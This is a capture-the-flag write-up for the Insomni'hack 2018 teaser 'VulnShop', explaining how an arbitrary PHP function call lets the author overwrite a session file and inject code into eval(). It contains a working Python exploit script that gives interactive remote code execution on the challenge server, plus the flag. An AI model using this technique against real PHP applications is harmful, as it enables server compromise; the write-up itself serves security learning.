Teaser Insomnihack 2018 - VulnShop

We're preparing a website for selling some important vulnerabilities in the future. You can browse some static pages on it, waiting for the official release.

http://vulnshop.teaser.insomnihack.ch

Important : you don't need to use automated scanners or bruteforce for this challenge, and using some will result for your ip to be banned. Go on IRC to ask for being unbanned.

First of all, we have to look for information that used to understand the challenge.

So the challenge give us phpinfo() information on http://vulnshop.teaser.insomnihack.ch/phpinfo.php and source code on http://vulnshop.teaser.insomnihack.ch/?hl

if we look closely to source code there is eval() function called inside verifyFromMath() function which is interesting.

Screenshot-from-2018-01-22-15-44-08

All we have to do is injecting payload to eval() function, but unfortunately eval()'s parameter is $_SESSION['challenge'] and that parameter generated by server using PRNG if we visit http://vulnshop.teaser.insomnihack.ch/?page=contactus.

Screenshot-from-2018-01-22-15-53-09

So the question is, how can we modify parameter challenge in session so it can run arbitrary code if we call verifyFromMath() function? we know that $_SESSION['challenge'] generated by PRNG so there is no way we can modify its value. Luckily, I noticed some weird code used by server to call function.

if(isset($_REQUEST['answer']) && isset($_REQUEST['method']) && function_exists($_REQUEST['method'])){ 

$_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer']); 

} 

We can call any function as long as the function exist and have 2 arguments. This is the list function that disabled, i got from phpinfo.php.

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,proc_open,system,shell_exec,exec,passthru,mail

from my understanding, there is no way we can spawn shell because function like shell_exec(), exec(), passthru(), system() is already disabled. I already tried calling these function and failed. (update its possible using popen()  )

We can overwrite file using file_puts_contents

$_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer']);
=>
file_puts_contents("./".$_SESSION['challenge'], ((eval_payload_here)) );

Unfortunately, it doesn't work. Because file extension is not .php and if we request tmp/(file session) it will result forbidden (server configuration I guess). After digging around, I learned how php session stored explained by this documentation.

Basicly, all session variables stored as a file with format sess_(PHPSESSID) in folder session.save_path and the content stored as serialized string as explained by this article

I tried simple php code on my local to see how php stored session.

<?php

session_start();

if( !isset($_SESSION['challenge']) ){
	$_SESSION['challenge'] = rand(100000,999999);
}


echo $_SESSION['challenge'];
?>

and I visit,

Screenshot-from-2018-01-22-17-15-50

I check session file

[email protected]:/var/lib/php/sessions# ls
sess_7ss2fi8ofbk6lrn6d3nrpp1ko5
[email protected]:/var/lib/php/sessions# cat sess_7ss2fi8ofbk6lrn6d3nrpp1ko5 
challenge|i:725154;

We know that session variable stored as serialization and then I try to modify session variable to string.

[email protected]:/var/lib/php/sessions# echo -n 'challenge|s:5:"hello";' > sess_7ss2fi8ofbk6lrn6d3nrpp1ko5 

I visit again and ..

Screenshot-from-2018-01-22-17-28-00

variable has been modified!

Solution

So my idea is first we call file_puts_contents() to fill tmp session challenge file with serialized payload and we overwrite session file in session.save_path (/var/lib/php/sessions) using copy().

import requests
import re

code = 'string_string_1337'
payload = "challenge|s:{}:\"{}\";".format(len(code), code)

print(payload)
# new session
req = requests.get('http://vulnshop.teaser.insomnihack.ch/?page=contactus')
cookie = req.headers['Set-Cookie']
PHPSESSID = re.match(r'PHPSESSID=(\w+);',cookie).group(1)
cookies = {
    'PHPSESSID': PHPSESSID
}

# fill challenge file with payload
data = {
    'method': 'file_put_contents',
    'answer': payload
}

requests.post('http://vulnshop.teaser.insomnihack.ch/?page=captcha-verify', data=data, cookies=cookies)

# overwrite session file
data = {
    'method': 'copy',
    'answer': '/var/lib/php/sessions/sess_'+PHPSESSID
}

requests.post('http://vulnshop.teaser.insomnihack.ch/?page=captcha-verify', data=data, cookies=cookies)

# visit ?page=captcha to see $_SESSION['challenge'] value

req = requests.get('http://vulnshop.teaser.insomnihack.ch/?page=captcha', cookies=cookies)
print(req.text)

it works! we successfully modified session variable
Screenshot-from-2018-01-22-17-59-35

after that we modify payload then we call eval function inside verifyFromMath(). This is full script that I used to find a flag

import requests
import re
from bs4 import BeautifulSoup


'''
$ pip3 install bs4
'''
while True:
    code = input(">> ")
    payload = "challenge|s:{}:\"{}\";".format(len(code), code)
    # new session
    req = requests.get('http://vulnshop.teaser.insomnihack.ch/?page=contactus')
    cookie = req.headers['Set-Cookie']
    PHPSESSID = re.match(r'PHPSESSID=(\w+);',cookie).group(1)
    cookies = {
        'PHPSESSID': PHPSESSID
    }

    # fill challenge file with payload
    data = {
        'method': 'file_put_contents',
        'answer': payload
    }

    requests.post('http://vulnshop.teaser.insomnihack.ch/?page=captcha-verify', data=data, cookies=cookies)

    # overwrite session file
    data = {
        'method': 'copy',
        'answer': '/var/lib/php/sessions/sess_'+PHPSESSID
    }

    requests.post('http://vulnshop.teaser.insomnihack.ch/?page=captcha-verify', data=data, cookies=cookies)

    # visit ?page=captcha to see $_SESSION['challenge'] value

    req = requests.get('http://vulnshop.teaser.insomnihack.ch/?page=captcha', cookies=cookies)
    if code in req.text:
        print("OK")

    data = {
        'method': 'verifyFromMath',
        'answer': '1'
    }
    req = requests.post('http://vulnshop.teaser.insomnihack.ch/?page=captcha-verify', data=data, cookies=cookies)
    soup = BeautifulSoup(req.text, "html.parser")
    line = soup.find('div', attrs={'class': 'content'})
    print("result: \n{}".format(line.text))
   

Here I am finding flag inside server...

Flag: INS{4rb1tr4ry_func_c4ll_is_n0t_s0_fun}

It was fun challenge, I learn a lot Thanks Insomni'hack :)

Herdian N

Read more posts by this author.